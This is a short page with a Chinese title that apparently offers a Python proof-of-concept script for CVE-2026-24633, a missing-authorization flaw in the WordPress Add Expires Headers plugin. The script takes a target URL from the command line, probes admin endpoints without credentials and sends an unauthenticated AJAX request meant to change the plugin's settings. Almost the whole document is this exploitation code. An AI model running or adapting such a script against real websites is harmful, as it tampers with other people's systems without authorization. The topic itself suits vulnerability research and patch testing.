CVE-2026-24633 WordPress Add Expires Headers插件缺失授权漏洞

import requests import sys # CVE-2026-24633 PoC - Missing Authorization in Add Expires Headers Plugin # Target: WordPress site with vulnerable Add Expires Headers plugin (<=3.2.0) def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2026-24633 """ # Try to access plugin settings without authentication # Common plugin endpoints endpoints = [ '/wp-admin/admin-ajax.php', '/wp-admin/options-general.php?page=add-expires-headers', ] for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: response = requests.get(url, timeout=10, verify=False) # Check if we can access admin functionality without auth if response.status_code == 200: print(f"[+] Potentially vulnerable endpoint: {url}") except requests.RequestException as e: print(f"[-] Error accessing {url}: {e}") # Try to modify settings via AJAX (exploitation attempt) ajax_url = target_url.rstrip('/') + '/wp-admin/admin-ajax.php' data = { 'action': 'add_expires_headers_save', 'expires_headers': 'test', } try: response = requests.post(ajax_url, data=data, timeout=10, verify=False) if response.status_code == 200: print(f"[+] AJAX endpoint accessible - plugin may be vulnerable") print(f"[+] Response: {response.text[:200]}") except requests.RequestException as e: print(f"[-] Error: {e}") if __name__ == '__main__': if len(sys.argv) > 1: check_vulnerability(sys.argv[1]) else: print('Usage: python cve-2026-24633-poc.py <target_url>') print('Example: python cve-2026-24633-poc.py http://target.com')